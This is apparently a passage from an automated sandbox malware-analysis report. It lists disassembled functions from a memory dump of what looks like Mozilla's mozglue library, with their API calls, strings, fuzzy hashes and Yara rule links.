memset.VCRUNTIME140(00000000,00000000), ref: 6C6B4F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B52E6
Sleep.KERNEL32(00000010), ref: 6C6B5481
free.MOZGLUE(?), ref: 6C6B5498

Strings

a.8/, xrefs: 6C6B4EAF
(, xrefs: 6C6B5250

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: ($a.8/
API String ID: 4104871533-2576256262
Opcode ID: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction ID: 4fb74f4d0ce92a9ec60c45ee6cd4a51cd83b2aaa59eff681b535a05e015bdd44
Opcode Fuzzy Hash: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction Fuzzy Hash: E1F1B271A19B408FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C679E50 Relevance: 14.9, APIs: 6, Strings: 2, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C679EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C679F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C679F34
LeaveCriticalSection.KERNEL32(?), ref: 6C67A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A849

Strings

a.8/, xrefs: 6C679E60
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67A8B1, 6C67A8D4, 6C67A8EF

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)$a.8/
API String ID: 2950001534-4001908336
Opcode ID: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction ID: c1827dcb3a360c7d673e696c750ffb37eae7622c7899b4964e0a10ca42f943cf
Opcode Fuzzy Hash: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction Fuzzy Hash: BA728D72A157118FD324CF28C540615FBE1BF89328F29CB6DE8698B792D335E841CB94

Function 6C6A2C10 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

a.8/, xrefs: 6C6A2C26, 6C6A2D08
ProfileBuffer parse error: %s, xrefs: 6C6A2E3B
(root), xrefs: 6C6A354F
expected a Time entry, xrefs: 6C6A2E36

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$a.8/$expected a Time entry
API String ID: 801438305-2920677514
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 6C6B9E30 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C6B9F3D
__aulldiv.LIBCMT ref: 6C6B9F77
__aullrem.LIBCMT ref: 6C6B9F8C
__aulldiv.LIBCMT ref: 6C6BA023

Strings

a.8/, xrefs: 6C6B9E3C
-Infinity, xrefs: 6C6B9E60, 6C6B9E7B
NaN, xrefs: 6C6B9EAB

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN$a.8/
API String ID: 3839614884-2780018554
Opcode ID: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction ID: cec4c0ba687317817b06540f2b3d32a47266ace032b3340d36d16366b67eb18d
Opcode Fuzzy Hash: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction Fuzzy Hash: FDC1DE31E043188BDB14CFA8C8907DEB7B6FF85318F544529D40ABBB81DB70A959CB99

Function 6C65D4E0 Relevance: 12.1, Strings: 9, Instructions: 805COMMON

Download Yara Rule

Strings

a.8/, xrefs: 6C65D4F8
@, xrefs: 6C65DAF6
8, xrefs: 6C65DC08
-, xrefs: 6C65D7DD
0, xrefs: 6C65DC7F
9, xrefs: 6C65DE7F
, xrefs: 6C65DA88
0, xrefs: 6C65D852
1, xrefs: 6C65DBDD

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@$a.8/
API String ID: 0-1020508299
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C921F, 6C6C9269, 6C6C56C7, 6C6C9459, 6C6C5703, 6C6C5740, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C921F, 6C6C9269, 6C6C56C7, 6C6C9459, 6C6C5703, 6C6C5740, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 6C65BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C65C1CB
__aulldiv.LIBCMT ref: 6C65C24C
__aulldiv.LIBCMT ref: 6C65C348
__aullrem.LIBCMT ref: 6C65C365
__aulldiv.LIBCMT ref: 6C65C37D

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca4ed2d6a03da8a3f704beac6cc95ae7f98496a33d9bce822fe9f562690d7ed6
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 18323632B046119FC718DE2CC89065ABBE6AFC9310F59866DE896CB395D730ED15CB90

Function 6C696CF0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Strings

a.8/, xrefs: 6C696D04

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID: a.8/
API String ID: 4169067295-2801666753
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 6C674640 Relevance: 5.8, APIs: 1, Strings: 2, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C674777

Strings

a.8/, xrefs: 6C674653
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C675585, 6C6755A8, 6C6755C3, 6C675624

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)$a.8/
API String ID: 4275171209-4001908336
Opcode ID: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction ID: e152d09da89ed65f54dddbc3e1f9f5dc8f98e24aebc063a76cc89704db909104
Opcode Fuzzy Hash: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction Fuzzy Hash: 58B2DE71A057018FD328CF18C584725FBE2BFC5324B29CBADE4698B6A5D771E841CB98

Function 6C6B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 6C695C10 Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Strings

a.8/, xrefs: 6C695C19

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID: a.8/
API String ID: 1475443563-2801666753
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 6C6C76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C7E0B, 6C6C79C0, 6C6C79FB, 6C6C793C, 6C6C7B0B, 6C6C7796

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c3f351375ce2f0f9a3e522e778f1118c83f9cb449e28e628ffd06b8ba48e099a
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AF320971E006198FCB14CF98C890AADFBF2FF88308F54816AC559A7745D731A986CF95

Function 6C6C6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C7E0B, 6C6C79C0, 6C6C79FB, 6C6C793C, 6C6C7B0B, 6C6C7C03, 6C6C7C72

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 3be4a28f322a9970853bb3041ef7813f79d8eca11099a4da24d4568498a361c3
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F822E771E006198FCB14CF98C880AADF7F2FF89304F6485AAC949A7745D731A986CF95

Function 6C6CAC00 Relevance: 1.7, Strings: 1, Instructions: 445COMMON

Download Yara Rule

Strings

a.8/, xrefs: 6C6CAC1B

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: a.8/
API String ID: 0-2801666753
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C65C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 47d4b005ea0d460a9a087beec7120d377fd57c6bf0f934b183e120b1cd954d5e
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 16A1AF71F0021A9FDB08CE68C8913AEB7F2AFC9354F588129D916E7781DB349D168B90

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

AreDpiAwarenessContextsEqual, xrefs: 6C6B5637
GetWindowDC, xrefs: 6C6B5710
LoadCursorW, xrefs: 6C6B5774
GetSystemMetricsForDpi, xrefs: 6C6B5677
GetMonitorInfoW, xrefs: 6C6B57A2
ShowWindow, xrefs: 6C6B56DE
RegisterClassW, xrefs: 6C6B56AC
gdi32, xrefs: 6C6B560A
user32, xrefs: 6C6B5601
GetDpiForWindow, xrefs: 6C6B5690
MonitorFromWindow, xrefs: 6C6B578D
LoadIconW, xrefs: 6C6B575B
StretchDIBits, xrefs: 6C6B57CC
FillRect, xrefs: 6C6B5729
EnableNonClientDpiScaling, xrefs: 6C6B5666
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
SetWindowLongPtrW, xrefs: 6C6B57B7
SetWindowPos, xrefs: 6C6B56F7
CreateSolidBrush, xrefs: 6C6B57E4
ReleaseDC, xrefs: 6C6B5742
DeleteObject, xrefs: 6C6B57F9
CreateWindowExW, xrefs: 6C6B56C5

Memory Dump Source

Source File: 00000000.00000002.2282188177.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2282164545.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282309747.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282349348.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2282369137.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

